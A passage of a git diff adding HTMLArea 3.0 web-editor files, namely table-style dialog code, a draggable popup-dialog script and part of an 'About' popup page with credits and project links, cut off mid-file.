+       tr = doc.createElement("tr");
+       tbody.appendChild(tr);
+       td = doc.createElement("td");
+       td.className = "label";
+       tr.appendChild(td);
+       td.innerHTML = i18n["Width"] + ":";
+       td = doc.createElement("td");
+       tr.appendChild(td);
+       input = doc.createElement("input");
+       input.type = "text";
+       input.value = TableOperations.getLength(el.style.width);
+       input.size = "5";
+       input.name = "f_st_width";
+       input.style.marginRight = "0.5em";
+       td.appendChild(input);
+       select = doc.createElement("select");
+       select.name = "f_st_widthUnit";
+       option = doc.createElement("option");
+       option.innerHTML = i18n["percent"];
+       option.value = "%";
+       option.selected = /%/.test(el.style.width);
+       select.appendChild(option);
+       option = doc.createElement("option");
+       option.innerHTML = i18n["pixels"];
+       option.value = "px";
+       option.selected = /px/.test(el.style.width);
+       select.appendChild(option);
+       td.appendChild(select);
+
+       select.style.marginRight = "0.5em";
+       td.appendChild(doc.createTextNode(i18n["Text align"] + ":"));
+       select = doc.createElement("select");
+       select.style.marginLeft = select.style.marginRight = "0.5em";
+       td.appendChild(select);
+       select.name = "f_st_textAlign";
+       options = ["Left", "Center", "Right", "Justify"];
+       if (tagname == "td") {
+               options.push("Char");
+       }
+       input = doc.createElement("input");
+       input.name = "f_st_textAlignChar";
+       input.size = "1";
+       input.style.fontFamily = "monospace";
+       td.appendChild(input);
+       for (i in options) {
+               var Val = options[i];
+               var val = Val.toLowerCase();
+               option = doc.createElement("option");
+               option.value = val;
+               option.innerHTML = i18n[Val];
+               option.selected = (el.style.textAlign.toLowerCase() == val);
+               select.appendChild(option);
+       }
+       function setCharVisibility(value) {
+               input.style.visibility = value ? "visible" : "hidden";
+               if (value) {
+                       input.focus();
+                       input.select();
+               }
+       };
+       select.onchange = function() { setCharVisibility(this.value == "char"); };
+       setCharVisibility(select.value == "char");
+
+       tr = doc.createElement("tr");
+       tbody.appendChild(tr);
+       td = doc.createElement("td");
+       td.className = "label";
+       tr.appendChild(td);
+       td.innerHTML = i18n["Height"] + ":";
+       td = doc.createElement("td");
+       tr.appendChild(td);
+       input = doc.createElement("input");
+       input.type = "text";
+       input.value = TableOperations.getLength(el.style.height);
+       input.size = "5";
+       input.name = "f_st_height";
+       input.style.marginRight = "0.5em";
+       td.appendChild(input);
+       select = doc.createElement("select");
+       select.name = "f_st_heightUnit";
+       option = doc.createElement("option");
+       option.innerHTML = i18n["percent"];
+       option.value = "%";
+       option.selected = /%/.test(el.style.height);
+       select.appendChild(option);
+       option = doc.createElement("option");
+       option.innerHTML = i18n["pixels"];
+       option.value = "px";
+       option.selected = /px/.test(el.style.height);
+       select.appendChild(option);
+       td.appendChild(select);
+
+       select.style.marginRight = "0.5em";
+       td.appendChild(doc.createTextNode(i18n["Vertical align"] + ":"));
+       select = doc.createElement("select");
+       select.name = "f_st_verticalAlign";
+       select.style.marginLeft = "0.5em";
+       td.appendChild(select);
+       options = ["Top", "Middle", "Bottom", "Baseline"];
+       for (i in options) {
+               var Val = options[i];
+               var val = Val.toLowerCase();
+               option = doc.createElement("option");
+               option.value = val;
+               option.innerHTML = i18n[Val];
+               option.selected = (el.style.verticalAlign.toLowerCase() == val);
+               select.appendChild(option);
+       }
+
+       return fieldset;
+};
+
+// Returns an HTML element containing the style attributes for the given
+// element.  This can be easily embedded into any dialog; the functionality is
+// also provided.
+TableOperations.createStyleFieldset = function(doc, editor, el) {
+       var i18n = TableOperations.I18N;
+       var fieldset = doc.createElement("fieldset");
+       var legend = doc.createElement("legend");
+       fieldset.appendChild(legend);
+       legend.innerHTML = i18n["CSS Style"];
+       var table = doc.createElement("table");
+       fieldset.appendChild(table);
+       table.style.width = "100%";
+       var tbody = doc.createElement("tbody");
+       table.appendChild(tbody);
+
+       var tr, td, input, select, option, options, i;
+
+       tr = doc.createElement("tr");
+       tbody.appendChild(tr);
+       td = doc.createElement("td");
+       tr.appendChild(td);
+       td.className = "label";
+       td.innerHTML = i18n["Background"] + ":";
+       td = doc.createElement("td");
+       tr.appendChild(td);
+       var df = TableOperations.createColorButton(doc, editor, el.style.backgroundColor, "backgroundColor");
+       df.firstChild.nextSibling.style.marginRight = "0.5em";
+       td.appendChild(df);
+       td.appendChild(doc.createTextNode(i18n["Image URL"] + ": "));
+       input = doc.createElement("input");
+       input.type = "text";
+       input.name = "f_st_backgroundImage";
+       if (el.style.backgroundImage.match(/url\(\s*(.*?)\s*\)/)) {
+               input.value = RegExp.$1;
+       }
+       // input.style.width = "100%";
+       td.appendChild(input);
+
+       tr = doc.createElement("tr");
+       tbody.appendChild(tr);
+       td = doc.createElement("td");
+       tr.appendChild(td);
+       td.className = "label";
+       td.innerHTML = i18n["FG Color"] + ":";
+       td = doc.createElement("td");
+       tr.appendChild(td);
+       td.appendChild(TableOperations.createColorButton(doc, editor, el.style.color, "color"));
+
+       // for better alignment we include an invisible field.
+       input = doc.createElement("input");
+       input.style.visibility = "hidden";
+       input.type = "text";
+       td.appendChild(input);
+
+       tr = doc.createElement("tr");
+       tbody.appendChild(tr);
+       td = doc.createElement("td");
+       tr.appendChild(td);
+       td.className = "label";
+       td.innerHTML = i18n["Border"] + ":";
+       td = doc.createElement("td");
+       tr.appendChild(td);
+
+       var colorButton = TableOperations.createColorButton(doc, editor, el.style.borderColor, "borderColor");
+       var btn = colorButton.firstChild.nextSibling;
+       td.appendChild(colorButton);
+       // borderFields.push(btn);
+       btn.style.marginRight = "0.5em";
+
+       select = doc.createElement("select");
+       var borderFields = [];
+       td.appendChild(select);
+       select.name = "f_st_borderStyle";
+       options = ["none", "dotted", "dashed", "solid", "double", "groove", "ridge", "inset", "outset"];
+       var currentBorderStyle = el.style.borderStyle;
+       // Gecko reports "solid solid solid solid" for "border-style: solid".
+       // That is, "top right bottom left" -- we only consider the first
+       // value.
+       (currentBorderStyle.match(/([^\s]*)\s/)) && (currentBorderStyle = RegExp.$1);
+       for (i in options) {
+               var val = options[i];
+               option = doc.createElement("option");
+               option.value = val;
+               option.innerHTML = val;
+               (val == currentBorderStyle) && (option.selected = true);
+               select.appendChild(option);
+       }
+       select.style.marginRight = "0.5em";
+       function setBorderFieldsStatus(value) {
+               for (i in borderFields) {
+                       var el = borderFields[i];
+                       el.style.visibility = value ? "hidden" : "visible";
+                       if (!value && (el.tagName.toLowerCase() == "input")) {
+                               el.focus();
+                               el.select();
+                       }
+               }
+       };
+       select.onchange = function() { setBorderFieldsStatus(this.value == "none"); };
+
+       input = doc.createElement("input");
+       borderFields.push(input);
+       input.type = "text";
+       input.name = "f_st_borderWidth";
+       input.value = TableOperations.getLength(el.style.borderWidth);
+       input.size = "5";
+       td.appendChild(input);
+       input.style.marginRight = "0.5em";
+       var span = doc.createElement("span");
+       span.innerHTML = i18n["pixels"];
+       td.appendChild(span);
+       borderFields.push(span);
+
+       setBorderFieldsStatus(select.value == "none");
+
+       if (el.tagName.toLowerCase() == "table") {
+               // the border-collapse style is only for tables
+               tr = doc.createElement("tr");
+               tbody.appendChild(tr);
+               td = doc.createElement("td");
+               td.className = "label";
+               tr.appendChild(td);
+               input = doc.createElement("input");
+               input.type = "checkbox";
+               input.name = "f_st_borderCollapse";
+               input.id = "f_st_borderCollapse";
+               var val = (/collapse/i.test(el.style.borderCollapse));
+               input.checked = val ? 1 : 0;
+               td.appendChild(input);
+
+               td = doc.createElement("td");
+               tr.appendChild(td);
+               var label = doc.createElement("label");
+               label.htmlFor = "f_st_borderCollapse";
+               label.innerHTML = i18n["Collapsed borders"];
+               td.appendChild(label);
+       }
+
+//     tr = doc.createElement("tr");
+//     tbody.appendChild(tr);
+//     td = doc.createElement("td");
+//     td.className = "label";
+//     tr.appendChild(td);
+//     td.innerHTML = i18n["Margin"] + ":";
+//     td = doc.createElement("td");
+//     tr.appendChild(td);
+//     input = doc.createElement("input");
+//     input.type = "text";
+//     input.size = "5";
+//     input.name = "f_st_margin";
+//     td.appendChild(input);
+//     input.style.marginRight = "0.5em";
+//     td.appendChild(doc.createTextNode(i18n["Padding"] + ":"));
+
+//     input = doc.createElement("input");
+//     input.type = "text";
+//     input.size = "5";
+//     input.name = "f_st_padding";
+//     td.appendChild(input);
+//     input.style.marginLeft = "0.5em";
+//     input.style.marginRight = "0.5em";
+//     td.appendChild(doc.createTextNode(i18n["pixels"]));
+
+       return fieldset;
+};
+
+//// END GENERIC CODE -------------------------------------------------------
diff --git a/admin/htmlarea/plugins/makefile.xml b/admin/htmlarea/plugins/makefile.xml
new file mode 100755 (executable)
index 0000000..0dcefb1
--- /dev/null
@@ -0,0 +1,9 @@
+<files>
+  <dir name="SpellChecker" />
+  <dir name="TableOperations" />
+  <dir name="FullPage" />
+  <dir name="CSS" />
+  <dir name="ContextMenu" />
+  <dir name="HtmlTidy" />
+  <dir name="ListType" />
+</files>
diff --git a/admin/htmlarea/popupdiv.js b/admin/htmlarea/popupdiv.js
new file mode 100755 (executable)
index 0000000..084ff8e
--- /dev/null
@@ -0,0 +1,369 @@
+/** This file is derived from PopupDiv, developed by Mihai Bazon for
+ * SamWare.net.  Modifications were needed to make it usable in HTMLArea.
+ * HTMLArea is a free WYSIWYG online HTML editor from InteractiveTools.com.
+ *
+ * This file does not function standalone.  It is dependent of global functions
+ * defined in HTMLArea-3.0 (htmlarea.js).
+ *
+ * Please see file htmlarea.js for further details.
+ **/
+
+var is_ie = ( (navigator.userAgent.toLowerCase().indexOf("msie") != -1) &&
+             (navigator.userAgent.toLowerCase().indexOf("opera") == -1) );
+var is_compat = (document.compatMode == "BackCompat");
+
+function PopupDiv(editor, titleText, handler, initFunction) {
+       var self = this;
+
+       this.editor = editor;
+       this.doc = editor._mdoc;
+       this.handler = handler;
+
+       var el = this.doc.createElement("div");
+       el.className = "content";
+
+       var popup = this.doc.createElement("div");
+       popup.className = "dialog popupdiv";
+       this.element = popup;
+       var s = popup.style;
+       s.position = "absolute";
+       s.left = "0px";
+       s.top = "0px";
+
+       var title = this.doc.createElement("div");
+       title.className = "title";
+       this.title = title;
+       popup.appendChild(title);
+
+       HTMLArea._addEvent(title, "mousedown", function(ev) {
+               self._dragStart(is_ie ? window.event : ev);
+       });
+
+       var button = this.doc.createElement("div");
+       button.className = "button";
+       title.appendChild(button);
+       button.innerHTML = "&#x00d7;";
+       title.appendChild(this.doc.createTextNode(titleText));
+       this.titleText = titleText;
+
+       button.onmouseover = function() {
+               this.className += " button-hilite";
+       };
+       button.onmouseout = function() {
+               this.className = this.className.replace(/\s*button-hilite\s*/g, " ");
+       };
+       button.onclick = function() {
+               this.className = this.className.replace(/\s*button-hilite\s*/g, " ");
+               self.close();
+       };
+
+       popup.appendChild(el);
+       this.content = el;
+
+       this.doc.body.appendChild(popup);
+
+       this.dragging = false;
+       this.onShow = null;
+       this.onClose = null;
+       this.modal = false;
+
+       initFunction(this);
+};
+
+PopupDiv.currentPopup = null;
+
+PopupDiv.prototype.showAtElement = function(el, mode) {
+       this.defaultSize();
+       var pos, ew, eh;
+       var popup = this.element;
+       popup.style.display = "block";
+       var w = popup.offsetWidth;
+       var h = popup.offsetHeight;
+       popup.style.display = "none";
+       if (el != window) {
+               pos = PopupDiv.getAbsolutePos(el);
+               ew = el.offsetWidth;
+               eh = el.offsetHeight;
+       } else {
+               pos = {x:0, y:0};
+               var size = PopupDiv.getWindowSize();
+               ew = size.x;
+               eh = size.y;
+       }
+       var FX = false, FY = false;
+       if (mode.indexOf("l") != -1) {
+               pos.x -= w;
+               FX = true;
+       }
+       if (mode.indexOf("r") != -1) {
+               pos.x += ew;
+               FX = true;
+       }
+       if (mode.indexOf("t") != -1) {
+               pos.y -= h;
+               FY = true;
+       }
+       if (mode.indexOf("b") != -1) {
+               pos.y += eh;
+               FY = true;
+       }
+       if (mode.indexOf("c") != -1) {
+               FX || (pos.x += Math.round((ew - w) / 2));
+               FY || (pos.y += Math.round((eh - h) / 2));
+       }
+       this.showAt(pos.x, pos.y);
+};
+
+PopupDiv.prototype.defaultSize = function() {
+       var s = this.element.style;
+       var cs = this.element.currentStyle;
+       var addX = (is_ie && is_compat) ? (parseInt(cs.borderLeftWidth) +
+                                          parseInt(cs.borderRightWidth) +
+                                          parseInt(cs.paddingLeft) +
+                                          parseInt(cs.paddingRight)) : 0;
+       var addY = (is_ie && is_compat) ? (parseInt(cs.borderTopWidth) +
+                                          parseInt(cs.borderBottomWidth) +
+                                          parseInt(cs.paddingTop) +
+                                          parseInt(cs.paddingBottom)) : 0;
+       s.display = "block";
+       s.width = (this.content.offsetWidth + addX) + "px";
+       s.height = (this.content.offsetHeight + this.title.offsetHeight) + "px";
+       s.display = "none";
+};
+
+PopupDiv.prototype.showAt = function(x, y) {
+       this.defaultSize();
+       var s = this.element.style;
+       s.display = "block";
+       s.left = x + "px";
+       s.top = y + "px";
+       this.hideShowCovered();
+
+       PopupDiv.currentPopup = this;
+       HTMLArea._addEvents(this.doc.body, ["mousedown", "click"], PopupDiv.checkPopup);
+       HTMLArea._addEvents(this.editor._doc.body, ["mousedown", "click"], PopupDiv.checkPopup);
+       if (is_ie && this.modal) {
+               this.doc.body.setCapture(false);
+               this.doc.body.onlosecapture = function() {
+                       (PopupDiv.currentPopup) && (this.doc.body.setCapture(false));
+               };
+       }
+       window.event && HTMLArea._stopEvent(window.event);
+
+       if (typeof this.onShow == "function") {
+               this.onShow();
+       } else if (typeof this.onShow == "string") {
+               eval(this.onShow);
+       }
+
+       var field = this.element.getElementsByTagName("input")[0];
+       if (!field) {
+               field = this.element.getElementsByTagName("select")[0];
+       }
+       if (!field) {
+               field = this.element.getElementsByTagName("textarea")[0];
+       }
+       if (field) {
+               field.focus();
+       }
+};
+
+PopupDiv.prototype.close = function() {
+       this.element.style.display = "none";
+       PopupDiv.currentPopup = null;
+       this.hideShowCovered();
+       HTMLArea._removeEvents(this.doc.body, ["mousedown", "click"], PopupDiv.checkPopup);
+       HTMLArea._removeEvents(this.editor._doc.body, ["mousedown", "click"], PopupDiv.checkPopup);
+       is_ie && this.modal && this.doc.body.releaseCapture();
+       if (typeof this.onClose == "function") {
+               this.onClose();
+       } else if (typeof this.onClose == "string") {
+               eval(this.onClose);
+       }
+       this.element.parentNode.removeChild(this.element);
+};
+
+PopupDiv.prototype.getForm = function() {
+       var forms = this.content.getElementsByTagName("form");
+       return (forms.length > 0) ? forms[0] : null;
+};
+
+PopupDiv.prototype.callHandler = function() {
+       var tags = ["input", "textarea", "select"];
+       var params = new Object();
+       for (var ti in tags) {
+               var tag = tags[ti];
+               var els = this.content.getElementsByTagName(tag);
+               for (var j = 0; j < els.length; ++j) {
+                       var el = els[j];
+                       params[el.name] = el.value;
+               }
+       }
+       this.handler(this, params);
+       return false;
+};
+
+PopupDiv.getAbsolutePos = function(el) {
+       var r = { x: el.offsetLeft, y: el.offsetTop };
+       if (el.offsetParent) {
+               var tmp = PopupDiv.getAbsolutePos(el.offsetParent);
+               r.x += tmp.x;
+               r.y += tmp.y;
+       }
+       return r;
+};
+
+PopupDiv.getWindowSize = function() {
+       if (window.innerHeight) {
+               return { y: window.innerHeight, x: window.innerWidth };
+       }
+       if (this.doc.body.clientHeight) {
+               return { y: this.doc.body.clientHeight, x: this.doc.body.clientWidth };
+       }
+       return { y: this.doc.documentElement.clientHeight, x: this.doc.documentElement.clientWidth };
+};
+
+PopupDiv.prototype.hideShowCovered = function () {
+       var self = this;
+       function isContained(el) {
+               while (el) {
+                       if (el == self.element) {
+                               return true;
+                       }
+                       el = el.parentNode;
+               }
+               return false;
+       };
+       var tags = new Array("applet", "select");
+       var el = this.element;
+
+       var p = PopupDiv.getAbsolutePos(el);
+       var EX1 = p.x;
+       var EX2 = el.offsetWidth + EX1;
+       var EY1 = p.y;
+       var EY2 = el.offsetHeight + EY1;
+
+       if (el.style.display == "none") {
+               EX1 = EX2 = EY1 = EY2 = 0;
+       }
+
+       for (var k = tags.length; k > 0; ) {
+               var ar = this.doc.getElementsByTagName(tags[--k]);
+               var cc = null;
+
+               for (var i = ar.length; i > 0;) {
+                       cc = ar[--i];
+                       if (isContained(cc)) {
+                               cc.style.visibility = "visible";
+                               continue;
+                       }
+
+                       p = PopupDiv.getAbsolutePos(cc);
+                       var CX1 = p.x;
+                       var CX2 = cc.offsetWidth + CX1;
+                       var CY1 = p.y;
+                       var CY2 = cc.offsetHeight + CY1;
+
+                       if ((CX1 > EX2) || (CX2 < EX1) || (CY1 > EY2) || (CY2 < EY1)) {
+                               cc.style.visibility = "visible";
+                       } else {
+                               cc.style.visibility = "hidden";
+                       }
+               }
+       }
+};
+
+PopupDiv.prototype._dragStart = function (ev) {
+       if (this.dragging) {
+               return false;
+       }
+       this.dragging = true;
+       PopupDiv.currentPopup = this;
+       var posX = ev.clientX;
+       var posY = ev.clientY;
+       if (is_ie) {
+               posY += this.doc.body.scrollTop;
+               posX += this.doc.body.scrollLeft;
+       } else {
+               posY += window.scrollY;
+               posX += window.scrollX;
+       }
+       var st = this.element.style;
+       this.xOffs = posX - parseInt(st.left);
+       this.yOffs = posY - parseInt(st.top);
+       HTMLArea._addEvent(this.doc, "mousemove", PopupDiv.dragIt);
+       HTMLArea._addEvent(this.doc, "mouseover", HTMLArea._stopEvent);
+       HTMLArea._addEvent(this.doc, "mouseup", PopupDiv.dragEnd);
+       HTMLArea._stopEvent(ev);
+};
+
+PopupDiv.dragIt = function (ev) {
+       var popup = PopupDiv.currentPopup;
+       if (!(popup && popup.dragging)) {
+               return false;
+       }
+       is_ie && (ev = window.event);
+       var posX = ev.clientX;
+       var posY = ev.clientY;
+       if (is_ie) {
+               posY += this.doc.body.scrollTop;
+               posX += this.doc.body.scrollLeft;
+       } else {
+               posY += window.scrollY;
+               posX += window.scrollX;
+       }
+       popup.hideShowCovered();
+       var st = popup.element.style;
+       st.left = (posX - popup.xOffs) + "px";
+       st.top = (posY - popup.yOffs) + "px";
+       HTMLArea._stopEvent(ev);
+};
+
+PopupDiv.dragEnd = function () {
+       var popup = PopupDiv.currentPopup;
+       if (!popup) {
+               return false;
+       }
+       popup.dragging = false;
+       HTMLArea._removeEvent(popup.doc, "mouseup", PopupDiv.dragEnd);
+       HTMLArea._removeEvent(popup.doc, "mouseover", HTMLArea._stopEvent);
+       HTMLArea._removeEvent(popup.doc, "mousemove", PopupDiv.dragIt);
+       popup.hideShowCovered();
+};
+
+PopupDiv.checkPopup = function (ev) {
+       is_ie && (ev = window.event);
+       var el = is_ie ? ev.srcElement : ev.target;
+       var cp = PopupDiv.currentPopup;
+       for (; (el != null) && (el != cp.element); el = el.parentNode);
+       if (el == null) {
+               cp.modal || ev.type == "mouseover" || cp.close();
+               HTMLArea._stopEvent(ev);
+       }
+};
+
+PopupDiv.prototype.addButtons = function() {
+       var self = this;
+       var div = this.doc.createElement("div");
+       this.content.appendChild(div);
+       div.className = "buttons";
+       for (var i = 0; i < arguments.length; ++i) {
+               var btn = arguments[i];
+               var button = this.doc.createElement("button");
+               div.appendChild(button);
+               button.innerHTML = HTMLArea.I18N.buttons[btn];
+               switch (btn) {
+                   case "ok":
+                       button.onclick = function() {
+                               self.callHandler();
+                               self.close();
+                       };
+                       break;
+                   case "cancel":
+                       button.onclick = function() {
+                               self.close();
+                       };
+                       break;
+               }
+       }
+};
diff --git a/admin/htmlarea/popups/about.html b/admin/htmlarea/popups/about.html
new file mode 100755 (executable)
index 0000000..ee70b6f
--- /dev/null
@@ -0,0 +1,392 @@
+<!--
+
+(c) dynarch.com, 2003-2004
+Author: Mihai Bazon, http://dynarch.com/mishoo
+Distributed as part of HTMLArea 3.0
+
+"You are not expected to understand this...  I don't neither."
+
+                      (from The Linux Kernel Source Code,
+                            ./arch/x86_64/ia32/ptrace.c:90)
+
+;-)
+
+-->
+
+<html style="height: 100%">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+<title>About HTMLArea</title>
+<script type="text/javascript" src="popup.js"></script>
+<script type="text/javascript">
+window.resizeTo(450, 250);
+var TABS = [];
+var CURRENT_TAB = 0;
+var CONTENT_HEIGHT_DIFF = 0;
+var CONTENT_WIDTH_DIFF = 0;
+function selectTab(idx) {
+  var ct = TABS[CURRENT_TAB];
+  ct.className = ct.className.replace(/\s*tab-current\s*/, ' ');
+  ct = TABS[CURRENT_TAB = idx];
+  ct.className += ' tab-current';
+  for (var i = TABS.length; --i >= 0;) {
+    var area = document.getElementById("tab-area-" + i);
+    if (CURRENT_TAB == i) {
+      area.style.display = "block";
+    } else {
+      area.style.display = "none";
+    }
+  }
+  document.body.style.visibility = "hidden";
+  document.body.style.visibility = "visible";
+  document.cookie = "HTMLAREA-ABOUT-TAB=" + idx;
+}
+var editor = null;
+function initDocument() {
+  editor = window.dialogArguments;
+  HTMLArea = window.opener.HTMLArea;
+
+  var plugins = document.getElementById("plugins");
+  var j = 0;
+  var html = "<table width='99%' cellpadding='0' style='margin-top: 1em; collapse-borders: collapse; border: 1px solid #8b8;'>" +
+         "<thead><tr>" +
+         "<td>Name</td>" +
+         "<td>Developer</td>" +
+         "<td>Sponsored by</td>" +
+         "<td>License<sup>*</sup></td>" +
+         "</tr></thead><tbody>";
+  for (var i in editor.plugins) {
+    var info = editor.plugins[i];
+    html += "<tr><td>" + info.name + " v" + info.version + "</td>" + 
+            "<td><a href='" + info.developer_url + "' target='_blank' title='Visit developer website'>" +
+           info.developer + "</a></td>" +
+           "<td><a href='" + info.sponsor_url + "' target='_blank' title='Visit sponsor website'>" +
+           info.sponsor + "</a></td>" +
+           "<td>" + info.license + "</td></tr>";
+    ++j;
+  }
+
+  if (j) {
+          html += "</tbody></table>" +
+                 "<p><sup>*</sup> License \"htmlArea\" means that the plugin is distributed under the same terms " +
+                 "as HTMLArea itself.  Such plugins are likely to be those included in the official " +
+                 "HTMLArea distribution</p>";
+         plugins.innerHTML = "<p>The following plugins have been loaded.</p>" + html;
+  } else {
+         plugins.innerHTML = "<p>No plugins have been loaded</p>";
+  }
+
+  plugins.innerHTML += "<p>User agent reports:<br/>" + navigator.userAgent + "</p>";
+
+  var content = document.getElementById("content");
+  if (window.innerHeight) {
+    CONTENT_HEIGHT_DIFF = window.innerHeight - 250;
+    CONTENT_WIDTH_DIFF = window.innerWidth - content.offsetWidth;
+  } else {
+    CONTENT_HEIGHT_DIFF = document.body.offsetHeight - 250;
+    CONTENT_WIDTH_DIFF = document.body.offsetWidth - 400;
+  }
+  window.onresize();
+  var bar = document.getElementById("tabbar");
+  j = 0;
+  for (var i = bar.firstChild; i; i = i.nextSibling) {
+    TABS.push(i);
+    i.__msh_tab = j;
+    i.onmousedown = function(ev) { selectTab(this.__msh_tab); HTMLArea._stopEvent(ev || window.event); };
+    var area = document.getElementById("tab-area-" + j);
+    if (/tab-current/.test(i.className)) {
+      CURRENT_TAB = j;
+      area.style.display = "block";
+    } else {
+      area.style.display = "none";
+    }
+    ++j;
+  }
+  if (document.cookie.match(/HTMLAREA-ABOUT-TAB=([0-9]+)/))
+    selectTab(RegExp.$1);
+}
+window.onresize = function() {
+  var content = document.getElementById("content");
+  if (window.innerHeight) {
+    content.style.height = (window.innerHeight - CONTENT_HEIGHT_DIFF) + "px";
+    content.style.width = (window.innerWidth - CONTENT_WIDTH_DIFF) + "px";
+  } else {
+    content.style.height = (document.body.offsetHeight - CONTENT_HEIGHT_DIFF) + "px";
+    //content.style.width = (document.body.offsetWidth - CONTENT_WIDTH_DIFF) + "px";
+  }
+}
+</script>
+<style>
+  html,body,textarea,table { font-family: tahoma,verdana,arial; font-size: 11px;
+padding: 0px; margin: 0px; }
+  tt { font-size: 120%; }
+  body { padding: 0px; background: #cea; color: 000; }
+  a:link, a:visited { color: #00f; }
+  a:hover { color: #f00; }
+  a:active { color: #f80; }
+  button { font: 11px tahoma,verdana,sans-serif; background-color: #cea;
+      border-width: 1px; }
+
+  p { margin: 0.5em 0px; }
+
+  h1 { font: bold 130% georgia,"times new roman",serif; margin: 0px; border-bottom: 1px solid #6a6; }
+  h2 { font: bold 110% georgia,"times new roman",serif; margin: 0.7em 0px; }
+
+  thead {
+    font-weight: bold;
+    background-color: #dfb;
+  }
+
+  .logo, .logo-hover {
+    white-space: nowrap;
+    background-color: #8f4; color: #040; padding: 3px; border-bottom: 1px solid #555;
+    height: 5em;
+  }
+  .logo .brand, .logo-hover .brand {
+    margin-left: 0.5em; margin-right: 0.5em; padding-bottom: 0.1em;
+    font-family: impact,'arial black',arial,sans-serif; font-size: 28px;
+    border-bottom: 1px solid #595; text-align: center;
+    cursor: pointer;
+  }
+  .logo-hover {
+    background-color: #fff;
+  }
+  .logo-hover .brand {
+    color: #800;
+    border-color: #04f;
+  }
+  .logo .letter, .logo-hover .letter { position: relative; font-family: monospace; }
+  .logo .letter1 { top: 0.1em; }
+  .logo .letter2 { top: 0.05em; }
+  .logo .letter3 { top: -0.05em; }
+  .logo .letter4 { top: -0.1em; }
+
+  .logo-hover .letter1 { top: -0.1em; }
+  .logo-hover .letter2 { top: -0.05em; }
+  .logo-hover .letter3 { top: 0.05em; }
+  .logo-hover .letter4 { top: 0.1em; }
+  .logo .version, .logo-hover .version { font-family: georgia,"times new roman",serif; }
+  .logo .release {
+    font-size: 90%; margin-bottom: 1em;
+    text-align: center; color: #484;
+  }
+  .logo .visit { display: none; }
+  .logo-hover .release { display: none; }
+  .logo-hover .visit {
+    font-size: 90%; margin-bottom: 1em;
+    text-align: center; color: #448;
+  }
+  .buttons {
+    text-align: right; padding: 3px; background-color: #8f4;
+    border-top: 1px solid #555;
+  }
+  #tabbar {
+    position: relative;
+    left: 10px;
+  }
+  .tab {
+    color: #454;
+    cursor: pointer;
+    margin-left: -5px;
+    float: left; position: relative;
+    border: 1px solid #555;
+    top: -3px; left: -2px;
+    padding: 2px 10px 3px 10px;
+    border-top: none; background-color: #9b7;
+    -moz-border-radius: 0px 0px 4px 4px;
+    z-index: 0;
+  }
+  .tab-current {
+    color: #000;
+    top: -4px;
+    background-color: #cea;
+    padding: 3px 10px 4px 10px;
+    z-index: 10;
+  }
+  table.sponsors { border-top: 1px solid #aca; }
+  table.sponsors td {
+    border-bottom: 1px solid #aca; vertical-align: top;
+  }
+  table.sponsors tr td { padding: 2px 0px; }
+  table.sponsors tr td.sponsor { text-align: right; padding-right: 0.3em; white-space: nowrap; }
+  li, ol, ul { margin-top: 0px; margin-bottom: 0px; }
+</style></head>
+<body onload="__dlg_init(); initDocument();"
+><table cellspacing="0" cellpadding="0" style="border-collapse: collapse;
+      width: 100%; height: 100%;">
+
+<tr style="height: 1em"><td id="tdheader">
+
+<div class="logo">
+<div class="brand"
+onmouseover="this.parentNode.className='logo-hover';"
+onmouseout="this.parentNode.className='logo';"
+onclick="window.open('http://dynarch.com/htmlarea/');">
+<span class="letter letter1">&lt;H</span><span
+class="letter letter2">T</span><span
+class="letter letter3">M</span><span
+class="letter letter4">L</span>Area <span class="letter">/&gt;</span>
+<span class="version"><% $version.$release %></span></div>
+<div class="release">Compiled on <% $time %></div>
+<div class="visit">Go to http://dynarch.com/htmlarea/ [latest milestone release]</div>
+</div>
+
+</td></tr>
+<tr><td id="tdcontent" style="padding: 0.5em;">
+
+<div style="overflow: auto; height: 250px;" id="content">
+<div id="tab-areas">
+
+<div id="tab-area-0">
+
+  <h1>HTMLArea</h1>
+  
+  <p>A free WYSIWYG editor replacement for <tt>&lt;textarea&gt;</tt> fields.<br />
+  For Mozilla 1.3+ (any platform) or Internet Explorer 5.5+ (Windows).
+  </p>
+
+  <p style="text-align: center"
+  >&copy; 2002-2004 <a href="http://interactivetools.com" target="_blank">interactivetools.com</a>, inc.<br />
+  &copy; 2003-2004 <a href="http://dynarch.com" target="_blank">dynarch.com</a> LLC.<br />
+  All Rights Reserved.</p>
+
+  <h2>Project resources</h2>
+
+  <ul>
+  <li><a href="http://sourceforge.net/projects/itools-htmlarea/" target="_blank"
+  >Project page</a> (@ sourceforge.net)</li>
+  <li><a href="http://sourceforge.net/cvs/?group_id=69750" target="_blank"
+  >Anonymous CVS access</a> (@ sourceforge.net)</li>
+  <li><a href="http://sourceforge.net/tracker/?atid=525656&group_id=69750&func=browse" target="_blank"
+  >Bug system</a> (@ sourceforge.net)</li>
+  <li><a href="http://www.interactivetools.com/forum/gforum.cgi?forum=14;" target="_blank"
+  >Forum</a> (@ interactivetools.com)</li>
+  <li><a href="http://www.dynarch.com/htmlarea/" target="_blank"
+  >Last public release</a> (@ dynarch.com)</li>
+  </ul>
+
+  <p>
+  For download section please see the <a href="http://sourceforge.net/projects/itools-htmlarea/" target="_blank"
+  >project page @ SourceForge</a>.
+  </p>
+
+<p style="margin-top: 1em; text-align: center;">Version 3.0 developed and maintained by <a
+href="http://dynarch.com/mishoo/" title="http://dynarch.com/mishoo/" target="_blank">Mihai Bazon</a> / <a
+href="http://dynarch.com" title="http://dynarch.com/" target="_blank">dynarch.com</a></p>
+
+</div>
+
+<div id="tab-area-1">
+<h1>Thank you</h1>
+
+  <p>
+  <a href="http://dynarch.com" target="_blank">dynarch.com</a> would like to thank the following
+  companies/persons for their <em>donations</em> to support development of HTMLArea (listed alphabetically):
+  </p>
+
+  <ul>
+    <li><a href="http://www.computerlove.co.uk" target="_blank">Code Computer Love Ltd.</a> (UK)</li>
+    <li><a href="http://www.neomedia.ro" target="_blank">Neomedia</a> (Romania)</li>
+    <li><a href="http://www.os3.it" target="_blank">OS3</a> (Italy)</li>
+    <li><a href="http://www.softwerk.net" target="_blank">SoftWerk</a> (Italy)</li>
+  </ul>
+
+  <p>Also many thanks to all people at InteractiveTools.com
+  <a href="http://www.interactivetools.com/forum/gforum.cgi?forum=14;">HTMLArea forums</a> for
+  contributing translations, feedback, bug reports and fixes.</p>
+
+  <p>
+  Last but not least, this project wouldn't have existed without
+  <a href="http://interactivetools.com" target="_blank">InteractiveTools.com</a>.
+  </p>
+
+</div>
+
+<div id="tab-area-2">
